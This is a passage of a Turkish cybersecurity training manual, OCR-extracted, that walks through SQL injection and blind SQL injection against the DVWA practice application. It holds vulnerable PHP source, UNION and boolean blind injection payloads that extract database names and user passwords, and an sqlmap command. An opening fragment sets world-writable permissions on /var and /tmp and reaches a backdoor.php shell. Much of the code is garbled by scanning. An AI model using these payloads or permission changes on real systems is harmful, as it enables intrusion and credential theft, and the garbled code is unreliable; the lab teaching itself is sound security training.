ugraslar sonucu bu izin sorununu c¢o6zebildim. Fakat yaptiklarimi not etmedigim igin
denediklerimden hangisi bu isi ¢ozdiu bilemiyorum. O nedenle hatirladigim olclide tim
yaptiklarimi burada sizlerle paylasiyorum:

Bir terminal a¢in ve agsagidakileri sirasiyla girin:
1 sudo su

2 gedit /etc/apparmor.d/usr.sbin.mysqgld

Ardindan agilan not defterinden /data/ satirlarini bulun ve satirlari asagidaki gibi yapin:
**/data/ r,
/data/* rw, **

Ardindan kaydedin ve gedit'i kapatin. Terminale tekrar donun ve asagidakilerini sirasiyla girin:
1 /etc/init.d/apparmor reload

2 gedit /etc/apparmor.d/abstractions/user—-tmp

Acllan gedit penceresine asagidaki satirlari ekleyin (Eger asagidakilerden zaten varsa
asagidaki gibi guincelleyin):

owner /home/tmp/** rwkl,
/home/tmp/ rw,

Son olarak asagidaki izinleri verin (Sisteminiz tam anlamiyla savunmasiz olacaktir. Ona
gore...):

chmod -R 1777 /tmp
chmod -R 777 /var
chmod -R 1777 /var/tmp
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Tek yapmaniz gereken sisteminizi kapatip agmak ve ise yaramayan enjeksiyon kodunu tekrar
DVWA'nin ekranindaki metin kutusuna girmektir. Boylelikle can't create/write to file (errcode

13) hatasini almayacaksiniz http://localhost/dvwa/backdoor.php adresine giderek sisteme giris
yapabileceksiniz.
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DERS 16 - SQL INJECTION (MEDiUM LEVEL)
Bu yazida guvenlik dizeyi Medium seviyesine yiUkseltiimis DVWA'nin SQL Injection'a karsi

aldigi énlem incelenecektir.

Dersin Hedefi

Medium seviyesindeki glvenligi asin ve yine SQL Injection yapin.

SQL Injection'a Kars1 Onlem

Eger dnceki yazilari okumussaniz artik biliyorsunuz ki SQL Injection yapip yapamayacagimiza
tirnak karakterini uygulamaya goéndererek hata verip vermemesine goére saptayabiliyoruz.
Onceki derslerde yapilan SQL Injection agagidaki kaynak kod yiiziinden yapilabiliyordu:

<?php

if({ isset( % _REQUEST[ 'Submit® ] ) ) {
ff Get input

$id = $ REQUEST[ 'id" ];

ff Check database
3 "SELECT first_name, last_name

fresult = mysql_query( Fgquery ) or die(
[/ Get results
fnum = mysql_numrows{ Fresult );
$i = 8;
while({ %i < %num ) {
ff Get values
$first = mysql_result{ %result, %i,
tlast = mysql_result{ %result, %i,

[/ Feedback for end user
echo "<prexID: {$id}<br:First name:

/f Increase loop count
Tit++;

¥

mysql_claose();
¥

P

FROM users WHERE user_id = "%id';";
“cprer’ . mysgl_error() . '<fpre=' );

“first_name" );
"last_name" };

{$first}<br>Surname: {$last}</pre:";

5. satirda kullanicidan gelen veri $id degiskenine atanmaktadir. 8.satirda $id degiskeni SQL
sorgusunda kullaniimaktadir. iste glvenlik zafiyeti bu satirdan kaynaklanmaktadir. $id
degiskeni higbir denetlemeye tabi tutulmadan direk SQL sorgusuna dahil edilmis. $id degiskeni
icindeki sakincali karakterlerden ayiklanmadan SQL sorgusuna dahil edildigi icin biz tirnak
kullaniminin avantajindan faydalanabildik ve SQL Injection yapabildik. Bir de glivenlik Medium
seviyesine ¢iktiginda kaynak koddaki degisime goz atalim:
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<php

if{ isset{ % _POST[ 'Submit’ ] )} ) {
ff Get input
$id = § POST[ ‘'did" ];
id = mysql_real escape_string{ %id };

% h

"SELECT first_name, last_name FROM users WHERE user_id = $id;";

/ Check database
5 mysql_query{ %query ) or die( '<pre:' . mysql_error() . '</pres' );

B b S

-I_.

re t
ff Get results

fnum = mysgql_numrows({ $result J;

£i = a3

while{ %i < %num ) {

/f Display wvalues

% mysql_result{ %result, %i, "first_name" );

$first
$last mysql_result{ %result, %i, "last_name" );

f{ Feedback for end user
echo "«<prexID: {$id}<br:First name: {$firstl<br:Surname: {$lastl</pre:";

ff Increase loop count
Lit+;

¥

fimysgl _close();

¥

Goruldugu Uzere 6. satirda mysql sorgulari icin bir anlam ifade eden karakterlerin 6niine ters
slash koyan mysql _real escape_string() fonksiyonu kullaniimis. mysql_real escape_string()
fonksiyonu SQL sorgulari i¢in anlam ifade eden karakterlerin dnline ters slash isareti koyarak
o anlam ifaden karakterin sql igin olan anlamini yok edecektir ve stringlestirecektir. Bu ciddi bir
guvenlik 6nlemidir. Simdi 9. satira dikkat edelim. Fark ettiyseniz $id degiskeni SQL sorgusuna
tirnak  kullanilmadan  dahil  edilmis. Maalesef bu  kullanm 6.  satirdaki
mysql_real_escape_string() fonksiyonunun temin ettigi guvenligi al asag! edecektir. Clnki
kullanici girece@i sql injection kodlarina tirnak eklemek mecburiyetinde kalmayacaktir.
Dolayisiyla tirnagin éndne ters slash koyan mysql_real_escape_string() fonksiyonu ters slash
koyacak bir tirnak bulamayacaktir. Tirnaksiz sql injection kodu da PHP'nin esnekligi sayesinde
kusursuzca galisacaktir. Sonug olarak giivenlik asilmis ve sql injection saldirisinda bulunulmus
olunacaktir. Simdi pratik Gzerinden gidelim ve olayi biraz somutlagtiralim.

Oncelikle girilecek enjeksiyon kodlari bu givenlik seviyesi geredi farkli sekilde ekrana
girilecektir. Ekranda bir comboBox goreceksiniz:
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Vulnerability: SQL Injection

UserID: |1 v || Submit

More Information

ComboBox'lar araytuzden veri giriimesine izin vermezler. Yazinin ileri kisimlarinda
bahsedilecek enjeksiyon kodlarini sirasi geldiginde ekrana girebilmek i¢cin comboBox'a sag
tiklayin ve Ogeyi Denetle (Inspect Element) secenegdine tiklayin. Bunun Uzerine tarayicinizin
alt tarafinda kiglk bir pencere acilacaktir. O pencerede mavi renkle secili bir satir
gOreceksiniz. O satirin basindaki Giggene basarak satiri genisletin.

[C | Elements Console Sources Network Timeline Profiles Resources Audits

¥ <p re

User ID:

¥ =select name="id"=

option value
option value
option value
option value

foption
Joption
foption
Joption -

F N
T

Acllan segeneklerden value'su 1 olanin (value="1") tirnaklarinin igerisindeki 1'e ¢ift tiklayin.
Asagida ne zaman bir SQL Injection kodu verilirse bu cift tikladiginiz yerdeki 1'i silip yerine
enjeksiyon kodunu koyun ve ardindan ENTER yaptiktan sonra ekrandaki Submit butonuna
basin. Bu kopyala, yapistir, ENTER ve Submit olayini her enjeksiyon kodu igin tekrarlayin.

Simdi SQL Injection kodlamalarina gegelim. Oncelikle prosedir geredi SQL Injection agigi var
mi yok muyu bir test edelim:

Metin Kutusuna Girilecek Kod (Tek tirnak):

Ekran aldigi tek tirnak sonrasi hata verecektir. Normalde sunu dislinmeniz gerekir:
mysql_real_escape_string() fonksiyonu tirnaklarin énine ters slash koyduguna gdre, yani
tirnak karakterini SQL komutu olmaktan cikarip string'lestirdigine gore niye girdigimiz tirnak
hata verdirdi? Bunun nedeni ters slash'in da bir ters slash'a ihtiya¢ duyuyor olusundandir. Ters
slash'a ters slash ekleme islemi gerceklestiriimediginden tek tirnak string'lesemeyecektir ve
yine hata verilmesine sebebiyet verecektir. Yani sonug olarak hedef sayfa halen SQL Injection
acigini  barindirmaktadir. Simdi asagida alt alta verilmis olan SOL Injection (Low
Level) dersinde detayli olarak anlattigimiz saldiri tesebbuslerini sirasiyla F12 yapip value="1"
'in 1 degeri yerine girin, ENTER'layin ve Submit'leyin.

99 or 1 =1 #

99 or 1 = 1 ORDER BY 1 #

99 or 1 = 1 ORDER BY 2 #

99 or 1 = 1 ORDER BY 3 #

99 or 1 = 1 UNION Select 1,2 #
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99 or 1 1 UNION Select 1,version() #
99 or 1 = 1 UNION Select 1,schema name from information schema.schemata #
99 or 1 = 1 UNION Select 1,group concat (schema name) from

information schema.schemata #

99 or 1 = 1 UNION Select 1,group concat (table name) from

information schema.tables Where table schema='dvwa' #

99 or 1 = 1 UNION Select 1,group concat (column name) from

information schema.columns Where table name='users' #

99 or 1 = 1 UNION Select 1,group concat (user,0x3b,password,0x0a) from
dvwa.users #

NOT: Yukaridaki kodlar Low Level'daki enjeksiyon kodlarinin tirnaksiz halleridir. Cinki Medium
Level'daki SQL kullanimi tirnaksizdir.

Boylelikle Medium Level guvenliginde dahi hedef sitenin admin kullanicisinin sifresine
erisebilmis olursunuz.
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DERS 17 - BLIND SQL INJECTION (LOW LEVEL)

Bu yazida DVWA adli web uygulamasinin igerisinde bulunan bir sayfanin glvenlik zafiyetinden
faydalanarak Blind SQL Injection saldirisinda bulunulacaktir.

Dersin Hedefi
Blind SQL Injection methoduyla DVWA'nin admin kullanicisinin gifresini kegfedin.

Blind SQL Injection Nedir?

Gecen ders bir SQL Injection saldirisi nasil yapilirdan bahsetmistik. Hatirlarsaniz o saldirinin
mihenk noktasi web sayfasinin verdigi SQL syntax hatalariydi. Girilen enjeksiyon kodlarina
(tirnak ve ORDER BY kodlarina) karsin verilen SQL hatalarina gore ilerliyorduk. Nihayetinde
UNION ile de ilave SQL sorgu enjekte ederek veritabani isimlerini, oradan tablo isimlerini,
oradan kolon isimlerini ve oradan da kolonlarin tuttugu hassas bilgileri elde ediyorduk. Peki ya
hedef sistem SQL syntax hatalarini vermeyecek sekilde ayarlanmigsa bu durumda ne olurdu
dersiniz? Yine SQL Injection saldirisi yapilabilir miydi? Eger bir SQL Injection saldirisi halen
yapilabiliyor olsaydi onun adi olsa olsa kérlemesine SQL Injection saldirisi olurdu degil mi?
Cunki web sayfasi SQL hatasi vermiyor. Hareket noktamiz kayip. iste Blind SQL Injection,
yani Kérlemesine SQL Injection saldirisi sayfa SQL hatasi vermezken yapilan SQL Injection
saldirilarina denir.

Blind SQL Injection Saldiris1 Nasil Yapilir?

Sitede bir SQL Injection acigi var olup olmadigini bu sefer tek tirnak ile 6grenemeyecegiz.
Cunkd SQL hatalari ekrana verilmemektedir. Bu sartlar altinda yine de SQL Injection acidi var
mi yok muyu basit true, false mantigini kullanarak anlayabiliriz. Oncelikle ekrandaki metin
kutusuna 5 sayisini girin. Submit butonuna bastiginizda ekran size "kayit var" seklinde bir
bildirimde bulunacaktir. Bunun yerine kaydin kendisini de verebilirlerdi. Fark etmez.

Vulnerability: SQL Injection (Blind)

User ID: |5 Submit

User ID exists in the database.

Simdi madem 5 sayisina karsilik bir kayit var oldugu soéyleniyor, asagidaki SQL Injection
kodunu metin kutusuna girersek yine ayni kaydin var oldugunu sdyleyecek mi diye test edelim.

5AND'1'="1"#

Eger yukaridakini metin kutusuna girerseniz Submit butonuyla tekrar "Bdyle bir kayit var"
tarzinda bildirim géreceksiniz. Peki bu ne anlama geliyor? Bunun anlami tek bir cimleye
sigmadigindan sabirli bir sekilde okumaya devam edin. Girdigimiz enjeksiyon kodu ile
sunucudaki SQL sorgusuna dedik ki 5 numarali kayit veritabaninda varsa - ki var - VE 1 sayisi
1'e esitse secili kaydi donder. Bunun sonucunda sistem yine kayit var dedi. Demek ki sunucu
sql injection'a kargl glvenlik zafiyetine sahip. Sunucu eger acgiga sahip olmasaydi bu eklenen
sql ifadelerini 5 sayisiyla birlikte goriirdii ve veritabaninda "5 AND '1' = '1' #" kaydini arardi. E
haliyle bdyle bir kayit bulamayacadi icin kayit bulunamadi tarzinda bir bildirim ekrana verirdi.
Fakat ne yapti? Kayit var dedi. Demek ki 5 sayisinin sonrasina eklenen ifadeler tam da
saldirganin istedigi gibi SQL sorgusunun devami olarak nitelendirildi. Kayit numarasinin
devami olarak degil! Asagida durumu biraz daha somutlastirarak 6zetleyelim:
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SELECT first_name, last_ name FROM users WHERE user_id = '$id’;

Yukarida gordiguniz $id degiskeni metin kutusundan gelen veriyi tutmaktadir. Metin kutusuna
5 sayisi girildiginde sunucu sorguyu soyle okuyacaktir:

SELECT first_name, last_name FROM users WHERE user_id ='5;

Eger sistem SQL Injection saldirilarina karsi agiga sahip degilse metin kutusundan girilecek 5'
AND '1' = "1" # ifadesine karsin sunucu sorguyu soyle okuyacaktir:

SELECT first_name, last_name FROM users WHERE user_id = "5 AND '1' ="1' #";

Haliyle veritabaninda "5' AND '1' = '1' #" nolu bir kayit olamayacagi i¢in sunucu bize kayit
bulunamadi uyarisi verecektir. Peki sistem SQL Injection agidina sahipse sorguyu nasil okur
dersiniz?

SELECT first_name, last_ name FROM users WHERE user_id ='5" AND '1' = '1' #;

Yani biraz daha anlamli renklendirecek olursak

SELECT first_name, last name FROM users WHERE user_id ='5'AND '1'="1"#"

Sistem eger metin kutusundan gelen veriyi g¢esitli fonksiyonlardan gegirmezse bu durumda
yukaridaki gibi okur. Yani 5 sayisI sonrasi gelen tek tirnagi sunucu bir 6ncekini kapatan tek
tirnak olarak algilar. Sonrasinda gelen AND operatorinid SQL sorgusundaki WHERE
kosulunun devami olarak gorir. 5 nolu kaydi veritabaninda bulacagi i¢cin AND operatdrinin
sol tarafi TRUE deger dondurecektir. AND'in sag tarafindaki 1 sayisi da 1 'e daima esit
olacagindan TRUE deger dondurecektir. Boylelikle 5 nolu segilen kayit AND'in sonucunun
TRUE ddénmesi sayesinde secili vaziyette kalacagindan belirtilen kayit var bildirimi ekrana
yansiyacaktir.

Sonug olarak 5' AND "1' ='"1' # kodu ile sistem zafiyete sahip sonucuna vardik. Clnku sistem
kayit bulunumadi hatasi vermesi gerekirken kayit bulundu bildirimi vermistir. Blind SQL
Injection saldirilari goérildigu Uzere boolean ifadelerini kullanmaktadir. Yani web sayfasi
normal (TRUE) bir ¢cikti mi veriyor yoksa "kayit bulunamadi" gibi FALSE bir ¢iktt mi veriyor.
SQL Injection saldirilarinda sistemin verdigi SQL hatalarina gére karar veriyorken Blind SQL
Injection saldirilarinda ise sayfanin olmasi gerektigi gibi yanit verip vermemesine goére karar
veriliyor.

Simdi madem hedef sayfanin sql injection agigina sahip oldugunu anladik saldiriya
baglayabiliriz. Hatirlarsaniz SQL Injection saldirisinda mevcut SQL sorgusuna kendi SQL
sorgumuzu UNION ile ilave ediyorduk. Bdylece ekrana veritabanindaki kullanici adi ve sifre
gibi hassas verilerin yazdinimasini sagliyorduk. Fakat DVWA'nin ders ekranindan
gOrebilecegdiniz Uzere metin kutusuna girilecek sayi sonrasi veritabanindan dénen kayit ekrana
yansitilmiyor. Dolayisiyla UNION komutu Blind SQL Injection igin islevsel degildir. Baska bir
yol bulmamiz gerekir. Oncelikle tipki SQL Injection saldirisinda yaptigimiz gibi hedef
sistemdeki yukli veritabanlarinin isimlerini tespit etmemiz, sonra segilen veritabaninin tablo
isimlerini tespit etmemiz, daha sonra segilen tablonun kolon isimlerini tespit etmemiz
gerekmektedir ki admin'in sifresini 6grenebilelim. Bu kesif asamalari boyunca iki SQL
fonksiyonundan yararlanacagiz. Birincisi ascii() fonksiyonu, ikincisi ise substring() fonksiyonu.
ascii() fonksiyonu argiman olarak aldigi karakterin ascii kodunu déndirmeye yaramaktadir.
substring() fonksiyonu ise argiman olarak aldi§i string'in icinden belirtilen bir parcayi
déndirmeye yaramaktadir. ilk olarak veritabani isimlerini kesfedelim. Bunun icin asagidaki
kodu DVWA'nin ekranindaki metin kutusundan enjekte edecegiz:
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5" AND ascii(substring((select schema_name from information_schema.schemata limit
0,1),1,1)) >=90 #

Hatirlarsaniz gecen _derste information_schema adli MySQL'de yuklu veritabanindan
bahsetmistik. Bu veritabanin MySQL'de yUkliu tim veritabani isimlerini, tim tablo isimlerini,
tum kolon isimlerini ayri ayr tablolarda dinamik olarak saklamakta oldugunu séylemistik.
Dolayisiyla boyle bir bilgi kaynagi saldirganin hedefinde olacaktir. information_schema adli
veritabaninin schemata adl tablosunda MySQL'de yUkli tim veritabanlarinin isimleri yer
almaktadir. Yukaridaki enjekte edilen kod iste bu tabloyu kullanmaktadir.

5" AND ascii(substring((select schema_name from information_schema.schemata limit
0,1),1,1)) >=90 #

Bu enjeksiyon kodunun icerisinde dikkat ederseniz bir SQL sorgusu vardir:

5" AND ascii(substring((select schema_name from information_schema.schemata limit
0,1),1,1)) >=90 #

Bu sorgu bahsettigimiz tabloda kayitli ilk kaydi, yani ilk veritabani ismini déndiirecektir. ilk kayit
donecektir, clinkl sorgunun sonuna bakacak olursaniz limit 0,1 konulmus. Yani bu komut
tablonun kayitlarindan Oncidan bagla ve 1 tane se¢ anlamina gelmektedir. ilk kaydin ismi
birazdan bahsedilecek yontemlerle tespit edildikten sonra ikinci kayda gegcmek icin bu limit
degerini séyle yapacagiz: limit 1,1. Ugtincl veritabani ismini 8grenmek icin limit 2,1 yapacagiz.
Bu bdyle devam edecektir. Ta ki ekran artik hi¢ olumlu yanit vermeyene kadar.

Bu enjeksiyon kodu igerisinde yer alan SQL sorgusunun doéndurdigu ilk veritabani ismini
ekrana basabilecegimiz bir yol yoktur. Oyle olsaydi isimiz ok kolay olurdu. Bu yiizden sofistike
bir yontem kullanacagiz. Yukaridaki enjeksiyon koduna geri donecek olursak ilk veritabani
ismini donduren sql sorgusu substring() fonksiyonu icine konmustur. Substring() foksiyonunun
diger iki parametresi ise gelen veritabani isminin ilk karakterini dondur seklinde ayarlanmistir.

5" AND ascii(substring((select schema_name from information_schema.schemata limit
0,1),1,1)) >=90 #

1,1 rakamlar birinci karakterden itibaren bir tane karakter se¢ anlamina gelmektedir. Yani
MySQL'deki yer alan ilk veritabaninin isminin ilk karakteri ascii() fonksiyonuna girmektedir.

5' AND ascii(substring((select schema_name from information_schema.schemata limit
0,1),1,1)) >=90 #

Ascii() fonksiyonu ise bu karakterin ascii kodunu dondurir ve bu deger 90 degerinden blyuk
ya da esit mi diye bakilir. Eger blylk ya da esitse sayfadaki bildirim pozitif olacaktir. Eger
90'dan kuguk ise sayfadaki bildirim negatif olacaktir. Peki tim bunlar ne anlama geliyor?

TUBITAK — BILGEM — Siber Guvenlik Enstitis 162


http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-14---SQL-Injection-Low-Level.php

TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

ASCII Alphabet Characters

Symbol | Decimal | Binary Symbol | Decimal | Binary
A 65 01000001 a 97 01100001
B 66 01000010 b 98 01100010
C 67 01000011 C 99 01100011
D 68 01000100 d 100 01100100
E 69 01000101 e 101 01100101
F 70 01000110 f 102 | 01100110
G 71 01000111 g 103 01100111
H 72 01001000 h 104 01101000
[ 73 01001001 [ 105 | 01101001
J T4 01001010 ] 106 01101010
K 75 01001011 k 107 01101011
L 76 01001100 I 108 | 01101100
M 77 01001101 m 109 01101101
M 78 01001110 n 110 01101110
O 79 01001111 o 111 | 01101111
P 80 01010000 p 112 01110000
Q 81 01010001 q 113 01110001
R 82 01010010 r 114 | 01110010
bt 83 01010011 5 115 01110011
T B4 01010100 t 116 01110100
U 85 01010101 u 117 | 01110101
W 86 01010110 " 118 01110110
W a7 01010111 w 119 01110111
X 88 01011000 X 120 | 01111000
Y 89 01011001 ¥ 121 01111001
il g0 01011010 z 122 01111010

Resimde gorebileceginiz lizere her bir harf kargiliginda bir ASCIl kod vardir. Biz ascii()'den
donen degeri >=90 ile kiyaslayarak

5' AND ascii(substring((select schema_name from information_schema.schemata limit
0,1),1,1)) >= 90 #

MySQL'deki ilk veritabaninin isminin ilk karakterinin blylk harf mi ki¢uk harf mi oldugunu
belirlemis oluyoruz. Sayfa eger pozitif bir bildirimle bizi karsilarsa demek ki girdigimiz
enjeksiyon kodu TRUE sonug¢ déndurdu ve ilk veritabaninin isminin ilk karakteri kl¢ik harfli bir
karaktere sahip deriz, eder negatif bir bildirimle bizi karsilarsa ilk veritabaninin isminin ilk
karakteri buyuk harfli bir karaktere sahip deriz. Yukaridaki resme bakacak olursaniz 90 sayisi
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ve asagisinin blylk harflere, 90 yukarisinin ise kuguk harflere tekabul ettigini gorebilirsiniz.
Simdi ise koyulalim. DVWA'nin metin kutusuna asagidaki enjeksiyon kodunu girin.

5" AND ascii(substring((select schema_name from information_schema.schemata limit 0,1),1,1)) >= 90
#

Ekran olumlu yanit verecektir.

Vulnerability: SQL Injection (Blind)

User ID: [limit 0,1),1,1)) >= 90 #| | Submit |

User ID exists in the database.

Demek ki ilk veritabaninin isminin ilk karakteri 90 dederine ya esitmis ya da blyidkmuUs. 90'a
esit olup olmadigindan emin olabilmek igin sayiyi bir arttirahm ve 91 yapalim.

5" AND ascii(substring((select schema name from information schema.schemata
limit 0,1),1,1)) >= 91 #

Yine ekran olumlu yanit verecektir. Eger ilk veritabaninin isminin ilk karakteri 90 olsaydi 90 >=
91 olacagindan ekranin olumsuz yanit vermesi gerekirdi. Fakat ekran olumsuz yanit vermedi.
Demek ki ascii()den dénen sayi 90 degilmis. iste bu sekilde deneme yaniimalarla sire¢
ilerletilir.

5" AND ascii(substring((select schema name from information schema.schemata
1limit 0,1),1,1)) >= 91 #

5" AND ascii(substring((select schema name from information schema.schemata
limit 0,1),1,1)) >= 92 #

5" AND ascii(substring((select schema name from information schema.schemata
limit 0,1),1,1)) >= 93 #

5" AND ascii(substring((select schema name from information schema.schemata
limit 0,1),1,1)) >= 94 #

5" AND ascii(substring((select schema name from information schema.schemata
limit 0,1),1,1)) >= 95 #

5'" AND ascii(substring((select schema name from information schema.schemata
limit 0,1),1,1)) >= 96 #

5'" AND ascii(substring((select schema name from information schema.schemata
limit 0,1),1,1)) >= 97 #

5" AND ascii (substring((select schema name from information schema.schemata
limit 0,1),1,1)) >= 98 #
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5" AND ascii(substring((select schema name from information schema.schemata
limit 0,1),1,1)) >= 99 #

5" AND ascii(substring((select schema name from information schema.schemata
limit 0,1),1,1)) >= 100 #

5" AND ascii(substring((select schema name from information schema.schemata
limit 0,1),1,1)) >= 101 #

5" AND ascii(substring((select schema name from information schema.schemata
limit 0,1),1,1)) >= 102 #

5" AND ascii(substring((select schema name from information schema.schemata
limit 0,1),1,1)) >= 103 #

5" AND ascii(substring((select schema name from information schema.schemata
limit 0,1),1,1)) >= 104 #

5" AND ascii(substring((select schema name from information schema.schemata
limit 0,1),1,1)) >= 105 #

5" AND ascii (substring((select schema name from information schema.schemata
limit 0,1),1,1)) >= 106 #

105 sayisina kadar ekran olumlu yanit verirken 106 sayisina gelindiginde ekran olumsuz yanit
verir.

ascii() >= 105 TRUE
ascii() >= 106 FALSE

105'ten buyuk esit icin TRUE verirken 106'dan buylk esit icin FALSE vermesi demek su
demektir:

106 > ascii() >= 105

Demek ki ascii() fonksiyonundan dénen sayi 105'mis sonucuna variriz. Yani MySQL'deki ilk
veritabaninin isminin ilk karakterinin ascii kodu 105'mis. Dolayisiyla ilk veritabaninin isminin ilk
karakteri i harfiymis. ilk harfi tespit ettikten sonra ikinci harf igin enjeksiyon kodu su sekilde
degigtirilir:

5' AND ascii(substring((select schema_name from information_schema.schemata limit
0,1),2,1)) >=90 #
Goruldugu uzere ikinci harfi segmek igin substring() fonksiyonunun ikinci parametresi 1'den

2'ye c¢ikariimistir. Ardindan ikinci harf icin ekrandaki bildirimleri takip ederek tekrar 90, 91, 92,
... kiyaslamalari yapilir:

5" AND ascii (substring((select schema name from information schema.schemata
limit 0,1),2,1)) >= 90 #

5'" AND ascii(substring((select schema name from information schema.schemata
limit 0,1),2,1)) >= 91 #
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5" AND ascii(substring((select schema name from information schema.schemata
limit 0,1),2,1)) >= 110 #

5" AND ascii(substring((select schema name from information schema.schemata
limit 0,1),2,1)) >= 111 #

110'a kadar ekran olumlu yanit verecektir. 111'de ise ekran olumsuz yanit verecektir. Demek
ki ascii()'den donen say1 110'mus.

ascii() >= 110 TRUE
ascii() >= 111 FALSE

Bdylece ilk veritabani isminin ikinci harfinin 110 nolu harf, yani n harfi oldugunu tespit etmis
olduk. Bu islem her harf icin tekrarlandiginda

[

in

inf

info

infor

inform

informa

informat

informati

informatio
information
information_
information_s
information_sc
information_sch
information_sche
information_schem
information_schema

seklinde ilk veritabaninin ismini tespit ederiz. Biz information_schema'dan zaten haberdardik.
Dolayisiyla bu dersin hedefi geregi DVWA'nin admin kullanicisinin sifresini elde etmek igin
baska veritabani ismi bulmamiz lazim. Bu ylzden enjeksiyon kodunun icerisindeki SQL
sorgusunda yer alan limit komutunu limit 0,1 'den limit 1,1 'e dénustirerek MySQL'de yukli
siradaki veritabani ismini segmis olalim.

5" AND ascii(substring((select schema name from information_schema.schemata limit
1,1),1,1)) >=90 #

Ardindan yukaridaki enjeksiyon kodu metin kutusuna girilir ve 90 sayisi ekrandaki bildirime
gore kontrollu bir sekilde degistirilerek ikinci veritabaninin ilk harfinin ascii kodu saptanir. Sonra
ikinci harf igin ayni denemeler yapilir. Uglincl harf igin ayni denemeler yapilir. Ta ki 65'ten
122'ye kadarki sayilar boyunca hig¢ olumlu yanit almayana kadar. Eger 65'ten 122'ye kadar hig
olumlu yanit alinmazsa alfabedeki tim harfller denenmis ve higbiri degil anlamina gelir ki bu
artik veritabani isminin bittigine isaret eder.

TUBITAK — BILGEM - Siber Giivenlik Enstitisi 166



TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Tdm veritabani isimlerini sirayla tespit ettikten sonra birini segip bu sefer segilen veritabaninin
tablolarinin isimlerini tespit etmek icin denemeler yapilir:

5" AND ascii(substring((select table_schema from information_schema.tables WHERE
table_schema = 'tespitEttiginizVeritabaniAdi' limit 0,1),1,1)) >= 90 #

90 sayisi degistirile degistirile ilk tablonun ilk harfi tespit edilir ve enjeksiyon kodundaki
substring() fonksiyonunun parametreleri 1,1 'den 2,1 'e donistiirilerek ikinci harfe gegcilir. ilk
tablonun tim harfleri bu sekilde tespit edildikten sonra enjeksiyon kodundaki limit 0,1'den limit
1,1'e gegcis yaparak ikinci tablo adini tespit etme asamasina ge¢mis olursunuz. TUm tablo
isimlerini tespit ettikten sonra iglerinden birini secip onun sahip oldugu kolon adlarini bulmak
icin yeniden ayni islemleri bu sefer kolon adlari i¢in tekrarlamalisiniz.

5" AND ascii(substring((select column_name from information_schema.columns WHERE
table_name = 'tespitEttiginizTablonunAd!' limit 0,1),1,1)) >= 90 #

Varsayalim ki tespit ettiginiz veritabani isimlerinden dvwa'l segtiniz. dvwa adli veritabaninda
tespit ettiginiz tablo adlarindan da users'i sectiniz diyelim. Segtiginiz tablo adinin sahip oldugu
ve yukaridaki enjeksiyon kodu ile tespit ettiginiz kolon adlarindan da user ve password'u
sectiniz diyelim. Bu durumda geriye bir zahmetli is daha kaliyor. Segtiginiz kolonlarin
degerlerini ascii numarasi deneme yanilmalariyla karakter karakter tespit etmek. Nasil
olduguna dair fikir vermesi igin 6rnek olarak asagidaki enjeksiyon kodunu verelim:

5' AND ascii(substring((select user from dvwa.users limit 0,1),1,1)) >= 90 #

users tablosundaki ilk kullanici adinin tum harflerini tespit ettikten sonra ikinci kullaniciya
oradan da uguncu kullaniciya gegcilir. Bu bdyle devam eder. Ta ki 65 ile 122 arasindaki
denemelerde hi¢ olumlu yanit alamayana kadar. Ardindan users tablosundaki sifreler ayni
ydntemle tespit edilir:

5" AND ascii(substring((select password from dvwa.users limit 0,1),1,1)) >= 90 #

Bdylece kullanici adi ve sifreler karakter karakter sayfanin verdigi bildirime bakarak belirlenir.

Sonug

Goruldugu uzere SQL hatalarini kapatmak SQL Injection'a mani degildir. Sadece saldirganin
isini guglestirir. Ama saldirganlar bunun da garesini buldular. Piyasada tim yukarida anlatilan
deneme yaniimalari otomatik olarak yapan yazilimlar mevcuttur. iclerinden biri SQLMap'tir.
Siradaki baglik SQLMap ile nasil kullanici adi ve sgifreyi ele gecirebileceginizden
bahsedecektir.

Ekstra

Tdm yukaridaki islemler admin kullanicisinin sifresini elde etmek igindi. Bu ylzlerce, hatta
binlerce deneme yanilmayi yapmak epey zahmetli ve hatiri sayilir zaman isteyen bir igtir. Bunu
bizim yerimize yapabilen SQLMap yazilimi deneme yanilmalari saniyeler igerisinde
gerceklestirebilmektedir. Bu yazida SQLMap'in kurulumundan bahsedilmeyecektir. Clnki Kali
Linux'ta SQLMap ve daha yuzlercesi kurulu vaziyette gelmektedir. Eger sizde VMWare ya da
VirtualBox gibi sanal makina kullaniyorsaniz Kali adli linux'u sanal makinaniza kurabilir ve
icinde hazir kurulu gelen SQLMap'i agagdida yer alacak kodlamalarla "direk" kullanabilirsiniz.

SQLMap ile saldiri yapabilmek icin DVWA'da agacaginiz oturum sonucu size verilen gerezi bir
késeye not etmeniz gerekmektedir. Cinki SQLMap'i oturum agiimamis bir DVWA'ya karsi
saldirtirsaniz SQLMap login ekranina takilacaktir ve galismayacaktir. Bu nedenle simdi ana
makinanizdaki tarayicidan DVWA'yl acin ve oturum girigini yapin. Ardindan DVWA Security
butonundan glivenlik seviyesini Low Level'a indirin. Daha sonra tarayicinizin ekraninda DVWA
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aclkken F12 tusuna basin. Tarayicinizin alt tarafinda bir kiiglk pencere agilacaktir. O
penceredeki sirali sekmelerden Resources sekmesine gelin ve solda sirali elemanlar
icerisinden Cookies'e, oradan da localhost'a ¢ift tiklayin.

m O Elements Console Sources MNetwork Timeline Profiles Resources Audits

,r : Int;u ;;E}B | Mame A | Value

£ ndexe PHPSESSID hoalynkdquntoeirultfa2tes
» [ Local Storage security o

» F Session Storage
v [ Cookies

B2 localhost

BB Application Cache
{ | Cache Storage (VIO

Ardindan pencerede gorunen iki gerezi

Sources Metwork Timeline Profiles Resources Audits

MName A | Value Domain

PHPSESSID h94lvnkdquntoei6rultfaztes localhost

security low localhost
¢ o

birlestirip bir not defterine kaydedin. Mesela asagidaki gibi olmali.

security=low;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3

Kali'de bir terminal agin ve agagidakini girin.

sqimap -u "http://192.168.0.16/dvwalvulnerabilities/sqli_blind/?id=1&Submit=Submit#" --
cookie="security=low;PHPSESSID=evio76avk41tlsOordo6g31gh2" -p id --technique=B --
dbms=MySQL --dbs

Kirmizi bélgeleri kendinize gdére ayarlamalisiniz. ilk kirmizi yere ana makinanizin IP'sini
koymalisiniz. Ana makinanizin IP'sini Windows'ta ipconfig, Linux'ta ifconfig ile 6grenebilirsiniz.
ikinci kirmizi yere de énceden elde ettiginiz gerezi yerlestirmelisiniz. Yukaridaki kodda yer alan
